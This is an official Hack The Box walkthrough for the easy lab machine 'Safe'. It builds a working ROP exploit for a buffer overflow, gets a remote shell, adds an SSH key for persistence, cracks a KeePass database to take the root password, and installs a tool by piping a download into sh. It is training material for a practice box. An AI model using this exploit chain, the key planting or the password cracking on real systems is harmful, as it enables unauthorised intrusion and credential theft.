Hack The Box

PEN-TESTING LABS

Safe

25th October 2019 / Document No D19.100.49

Prepared By: MinatoTW

Machine Author: ecdo

Difficulty: Easy

Classification: Official

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

SYNOPSIS

Safe is an Easy difficulty Linux VM with a vulnerable service running on a port. The binary is found to be vulnerable to buffer overflow, which needs to be exploited through Return Oriented Programming (ROP) to get a shell. The user's folder contain images and a keepass database which can be cracked using John the ripper to gain the root password.

Skills Required

- Enumeration
- Exploit Development

Skills Learned

- ROP
- Cracking keepass databases

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Enumeration

Nmap

```
ports=$(nmap -PN -p- --min-rate=1000  -T4 10.10.10.147 | grep ^[0-9] | cut -d '/'
-f 1 | tr '\n' ',' | sed s/,$//)
nmap -PN -sC -sV -p$ports 10.10.10.147
```

```
ports=$(nmap -p- --min-rate=1000  -T4 10.10.10.147 | grep ^[0-9] |
cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV 10.10.10.147

Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-25 06:24 PDT
Nmap scan report for 10.10.10.147
Host is up (0.20s latency).

PORT     STATE SERVICE VERSION

22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)

80/tcp   open  http    Apache httpd 2.4.25 ((Debian))

1337/tcp open  waste?
```

We see SSH and Apache running on their default ports, as well as an unidentified service running on port 1337.

Apache

Browsing to port 80 we come across the default HTTP page. Looking at the page source a comment can be seen at the top.

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w
<html xmlns="http://www.w3.org/1999/xhtml">
<!-- 'myapp' can be downloaded to analyze from here
     its running on port 1337 -->
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

It says the binary running on port 1337 can be downloaded from the web server. Let's download and analyze it before proceeding.

```
wget 10.10.10.147/myapp

<SNIP>

2019-10-25 06:39:56 (81.0 KB/s) - 'myapp' saved [16592/16592]

file myapp

myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked
```

Exploit Development

The binary "myapp" is a 64 bit ELF executable.

```
./myapp

 06:44:52 up  1:37,  4 users,  load average: 3.22, 1.30, 0.58

What do you want me to echo back? AAAA
AAAA
```

On running the binary, we see that it just echoes back the input. Let's open it up in GDB to look at the functions.

We'll use the GEF plugin with GDB. Use the following command to install it locally.

```
wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Once installed, open the binary in GDB.

```
gdb -q myapp
<SNIP>
gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  puts@plt
0x0000000000401040  system@plt
0x0000000000401050  printf@plt
0x0000000000401060  gets@plt
<SNIP>
0x0000000000401152  test
0x000000000040115f  main
```

Apart from the default functions, we see that the binary has imported the system() function, which will help us execute system commands. The binary also uses the gets() function which is vulnerable to buffer overflows. There are two user defined functions where main is the default starting point, along with an additional function test(). We can look at the binary protections using the checksec command.

```
gef➤  checksec
[+] checksec for '/tmp/myapp'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial
```

As NX (No-eXecute) is enabled, we'll have to use a ROP (Return oriented programming) based approach to exploit the buffer overflow. Let's look at the disassembly of the main function.

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

```
gef➤  disassemble main
Dump of assembler code for function main:
<SNIP>
   0x0000000000401184 <+37>:    lea    rax,[rbp-0x70]
   0x0000000000401188 <+41>:    mov    esi,0x3e8
   0x000000000040118d <+46>:    mov    rdi,rax
   0x0000000000401190 <+49>:    mov    eax,0x0
   0x0000000000401195 <+54>:    call   0x401060 <gets@plt>
   0x000000000040119a <+59>:    lea    rax,[rbp-0x70]
   0x000000000040119e <+63>:    mov    rdi,rax
   0x00000000004011a1 <+66>:    call   0x401030 <puts@plt>
   0x00000000004011a6 <+71>:    mov    eax,0x0
   0x00000000004011ab <+76>:    leave
   0x00000000004011ac <+77>:    ret
```

We see that the binary loads a buffer [rbp-0x70] i.e 0x70 bytes in size into rax and then moves it to rdi. The 64 bit assembly uses registers for calling functions. The RDI register is used for the first argument, RSI for the second, RDX for the third and so on. RDI is loaded with a buffer of size 0x70 i.e 112 bytes, the binary calls gets() to save user input into it and then uses puts to print the contents of the buffer. So, ideally we should be able to overflow the buffer with input greater than 112 bytes. Let's try sending 120 bytes and check if we could overwrite RBP.

First create an input of 120 bytes, where the first 112 bytes are A's and the rest 8 are B's.

```
python -c 'print "A"*112 + "B"*8'

./myapp
 07:14:49 up  2:07,  4 users,  load average: 0.09, 0.04, 0.09

What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<SNIP>ABBBBBBBB
bash: "./myapp" terminated by signal SIGSEGV (Address boundary error)
```

Now, let's check if we have overwritten RBP.

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

```
python -c 'print "A"*112 + "B"*8'

gdb -q myapp
gef➤  r
Starting program: /tmp/myapp
[Detaching after vfork from child process 110675]
 07:11:46 up  2:04,  4 users,  load average: 0.00, 0.02, 0.09

What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<SNIP>AABBBBBBBB

<SNIP>

$rax   : 0x0
$rbx   : 0x0
$rcx   : 0x00007ffff7ecd024  →  0x5477fffff0003d48 ("H="?)
$rdx   : 0x00007ffff7fa7580  →  0x0000000000000000
$rsp   : 0x00007fffffffe4a0  →  0x00007ffff7fa14d8
$rbp   : 0x4242424242424242 ("BBBBBBBB"?)
```

From the output we see that RBP contains “BBBBBBBB” which means we can overflow the buffer with 120 bytes. We can now control RIP with the bytes after 120.

Let’s look at the disassembly of the “test” function now.

```
gef➤  disassemble test
Dump of assembler code for function test:
   0x0000000000401152 <+0>:     push   rbp
   0x0000000000401153 <+1>:     mov    rbp,rsp
   0x0000000000401156 <+4>:     mov    rdi,rsp
   0x0000000000401159 <+7>:     jmp    r13
   0x000000000040115c <+10>:    nop
```

The function moves RSP to RDI and jumps to the address present in R13.

We can use this to our advantage by setting R13 to the address of the system() call. RSP points to the top of the stack, which can be controlled by our input. As mentioned, x64 uses the RDI

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

register for the first argument. This will let us place the address to "/bin/sh" in RDI and then jump to the system call using R13.

To place the address of the system call into R13 a "pop r13" gadget is needed. The POP instruction moves the top of the stack into the specified register. We can use ropper in order to find such a gadget.

```
ropper --file myapp --search "pop r13"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r13

[INFO] File: myapp
0x0000000000401206: pop r13; pop r14; pop r15; ret;
```

It found a gadget for "pop r13; pop r14; pop r15; ret;" at the address 0x0401206. We can now start creating our ROP chain using pwntools.

```
from pwn import *

buf = "A" * 120

'''
0x0000000000401206: pop r13; pop r14; pop r15; ret;
'''

pop_r13_junk_junk = p64(0x401206)

'''
0x000000000040116e <+15>:  call   0x401040 <system@plt>
'''

system = p64(0x40116e)

chain = buf + pop_r13_junk_junk + system + "BBBBBBBB" + "CCCCCCCC"
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

```
print chain
```

This is the first part of the chain, where we pop the address to the system call into the R13 register. Additionally, there has to be some junk on the stack to pop into the R14 and R15 registers, for which the script uses B's and C's. Run the script, directing the output to a file, and then use GDB to send this as input to the binary.

```
python safe_exp.py > chain

gef➤  r < chain
Starting program: /tmp/myapp < chain

<SNIP>
$r13   : 0x000000000040116e  →  <main+15> call 0x401040 <system@plt>
$r14   : 0x4242424242424242 ("BBBBBBBB"?)
$r15   : 0x4343434343434343 ("CCCCCCCC"?)
```

The program crashes and we'll see the desired address present in R13, as well as B's and C's present in R14 and R15 registers respectively.

After placing the address into R13, we can call the test function. The test function moves the address for RSP to RDI. We can place "/bin/sh" into RSP so that it's copied to RDI, and then system is called with RDI as the argument.

Here's the modified script:

```
from pwn import *

buf = "A" * 120

'''
0x0000000000401206: pop r13; pop r14; pop r15; ret;
'''

pop_r13_junk_junk = p64(0x401206)
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

```
'''
0x000000000040116e <+15>: call   0x401040 <system@plt>
'''

system = p64(0x40116e)

binsh = "/bin/sh\x00"

'''
0x0000000000401156 <+4>:  mov    rdi,rsp
0x0000000000401159 <+7>:  jmp    r13
'''

test = p64(0x401156)

chain = buf + pop_r13_junk_junk + system + "BBBBBBBB" + "CCCCCCCC" + test + binsh

print chain
```

The address for test can be found using objdump or GDB. We need to terminate “/bin/sh” with a null byte as C considers strings as a sequence of characters terminated by a null byte. We place the binsh string at the top of the stack so that it’s address gets moved to RDI.

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Execute it and redirect the output to a file again. We can add a breakpoint at the MOV instructions to view the flow of the chain.

```
python safe_exp.py > chain

gef➤  break * 0x401156
Breakpoint 1 at 0x401156
gef➤  r < chain
Starting program: /tmp/myapp < chain

<SNIP>
0x00007fffffffe4c0|+0x0000: 0x0068732f6e69622f ("/bin/sh"?)      ← $rsp
0x00007fffffffe4c8|+0x0008: 0x74710f57f71b3b00
0x00007fffffffe4d0|+0x0010: 0x0000000000401070  →  <_start+0> xor ebp, ebp
0x00007fffffffe4d8|+0x0018: 0x00007fffffffe570  →  0x0000000000000001
0x00007fffffffe4e0|+0x0020: 0x0000000000000000
0x00007fffffffe4e8|+0x0028: 0x0000000000000000
0x00007fffffffe4f0|+0x0030: 0x8b8ef0281d3b3b38
0x00007fffffffe4f8|+0x0038: 0x8b8ee06b023d3b38

<SNIP>
     0x401154 <test+2>         mov    ebp, esp
 →   0x401156 <test+4>         mov    rdi, rsp
```

After the first breakpoint is hit, we can see that RSP points to the “/bin/sh” string. Now enter “si” to step an instruction.

```
gef➤  si
0x0000000000401159 in test ()
<SNIP>
$rsp   : 0x00007fffffffe4c0  →  0x0068732f6e69622f ("/bin/sh"?)
$rbp   : 0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x0000000000405260  →  "What do you want me to echo back? AAAAAAAAAAAAAAAA[...]"
$rdi   : 0x00007fffffffe4c0  →  0x0068732f6e69622f ("/bin/sh"?)
$rip   : 0x0000000000401159  →  <test+7> jmp r13
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

We see that RDI now points to the buffer with “/bin/sh”. Stepping again the code should jump to the system call.

```
gef➤  si

0x000000000040116e in main ()
<SNIP>

system@plt (
   $rdi = 0x00007fffffffe4c0 → 0x0068732f6e69622f ("/bin/sh"?),
   $rsi = 0x0000000000405260 → "What do you want me to echo back? AAAAAAAAAAAAAAA[...]"
)
```

The chain jumped to the system call, and GDB guessed the arguments for RDI (pointing to our string) and RSI (pointing to the return address). RDI can be anything and is called only after exiting.

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Foothold

Let's run the exploit locally to see if it worked.

```
(cat chain ; cat) | ./myapp

 08:27:49 up  3:20,  5 users,  load average: 0.01, 0.03, 0.00

What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<SNIP>AAAAAAA@

id
uid=0(root) gid=0(root) groups=0(root)
```

The chain was successful and we were able to pop a shell. Let's modify the script to send this payload to the server.

```
from pwn import *

p = remote("10.10.10.147" , 1337)
buf = "A" * 120

'''
0x0000000000401206: pop r13; pop r14; pop r15; ret;
'''
pop_r13_junk_junk = p64(0x401206)

'''
0x000000000040116e <+15>:  call   0x401040 <system@plt>
'''
system = p64(0x40116e)
binsh = "/bin/sh\x00"

'''
0x0000000000401156 <+4>:   mov    rdi,rsp
0x0000000000401159 <+7>:   jmp    r13
'''
test = p64(0x401156)
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

```
chain = buf + pop_r13_junk_junk + system + "BBBBBBBB" + "CCCCCCCC" + test + binsh
p.sendline(chain)
p.interactive()
```

We create a connection to port 1337 on the box and send the payload using the sendline() function. Then the interactive mode is turned on to interact with the shell.

```
python exp.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] Switching to interactive mode
 02:35:49 up  2:26,  0 users,  load average: 0.00, 0.00, 0.00
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
```

The exploit was successful and we were able to get a shell as the user “user”.

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Privilege Escalation

Navigating to the user's home folder, we see a KeePass database and a few images.

```
$ cd /home/user
$ ls -la
total 11284
drwxr-xr-x 3 user user    4096 May 13 11:18 .
drwxr-xr-x 3 root root    4096 May 13 08:34 ..
lrwxrwxrwx 1 user user       9 May 13 08:38 .bash_history -> /dev/null
-rw-r--r-- 1 user user     220 May 13 08:34 .bash_logout
-rw-r--r-- 1 user user    3526 May 13 08:34 .bashrc
-rw-r--r-- 1 user user 1907614 May 13 11:15 IMG_0545.JPG
-rw-r--r-- 1 user user 1916770 May 13 11:15 IMG_0546.JPG
-rw-r--r-- 1 user user 2529361 May 13 11:15 IMG_0547.JPG
-rw-r--r-- 1 user user 2926644 May 13 11:15 IMG_0548.JPG
-rw-r--r-- 1 user user 1125421 May 13 11:15 IMG_0552.JPG
-rw-r--r-- 1 user user 1085878 May 13 11:15 IMG_0553.JPG
-rwxr-xr-x 1 user user   16592 May 13 08:47 myapp
-rw-r--r-- 1 user user    2446 May 13 11:15 MyPasswords.kdbx
-rw-r--r-- 1 user user     675 May 13 08:34 .profile
drwx------ 2 user user    4096 May 13 11:18 .ssh
-rw------- 1 user user      33 May 13 09:25 user.txt
```

We can copy our public key to authorized_keys, so that we can SSH into the box.

```
$ cd .ssh
$ echo 'ssh-rsa AAAAB3NzaC1yc2E<SNIP>fP4xC7qs9zWv/bTPR root@parrot' >> authorized_keys
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

We have successfully upgraded our shell.

```
ssh user@10.10.10.147
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64

<SNIP>
Last login: Fri Oct 25 02:41:03 2019 from 10.10.14.2
user@safe:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
```

Looking at the images we can assume that one of them is a key to the KeePass database. Transfer all the images and KeePass database using SCP.

```
scp 'user@10.10.10.147:~/*.JPG' .

IMG_0545.JPG                                  100% 1863KB 480.3KB/s   00:03
IMG_0546.JPG                                  100% 1872KB 924.0KB/s   00:02
IMG_0547.JPG                                  100% 2470KB   1.4MB/s   00:01
IMG_0548.JPG                                  100% 2858KB   1.9MB/s   00:01
IMG_0552.JPG                                  100% 1099KB   1.7MB/s   00:00
IMG_0553.JPG                                  100% 1060KB   1.6MB/s   00:00

scp 'user@10.10.10.147:~/*.kdbx' .

MyPasswords.kdbx                              100% 2446    11.8KB/s   00:00
```

We can generate hashes for each image using keepass2john and try to crack them. The -k parameter in keepass2john can be used to specify the keyfile. The following bash script will append hashes to a file.

```
for i in *.JPG
do
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

```
  keepass2john -k $i MyPasswords.kdbx >> hashes
done
```

We can use John The Ripper along with rockyou.txt to crack the hashes.

```
john --fork=4 -w=/home/user/rockyou.txt hashes

Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (KeePass [SHA256 AES 32/64])
<SNIP>
Node numbers 1-4 of 4 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
bullshit         (MyPasswords)
```

The password was cracked as “bullshit”. But we don’t know the name of the keyfile this is valid for. We can create a script using kpcli to find the image. Kpcli is a command line interface for KeePass and can be installed using apt.

```
apt install kpcli -y
```

The following script will try to open the db using each file and returns the filename if the exit code is equal to 0 (i.e. success).

```
#!/bin/bash

for i in *.JPG
do
      echo bullshit | kpcli --kdb MyPasswords.kdbx --key $i --command quit
>/dev/null 2>&1
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

```
        if [[ $? -eq 0 ]]
        then
                echo "Key: $i"
                break
        fi
done
```

The password is echoed through stdin, while output and errors are directed towards /dev/null. If the exit status is 0, the script breaks and prints the key.

```
chmod +x key.sh

./key.sh
Key: IMG_0547.JPG
```

The key is found to be IMG_0547.JPG. This can be used with kpcli to open the database.

```
kpcli --kdb MyPasswords.kdbx --key IMG_0547.JPG
Please provide the master password: *************************
<SNIP>

kpcli:/> ls
=== Groups ===
MyPasswords/
kpcli:/> cd MyPasswords/
kpcli:/MyPasswords> ls
=== Entries ===
0. Root password
kpcli:/MyPasswords> show 0 -f

Title: Root password
Uname: root
 Pass: u3v2249dl9ptv465cogl3cnpo3fyhk
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Upon entering, we see an item named “MyPasswords”, getting into it and listing again an entry for root password is present. This can be viewed using the show command. We can now use the root password to su and get the flag.

```
user@safe:~$ su
Password: <u3v2249dl9ptv465cogl3cnpo3fyhk>
root@safe:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
```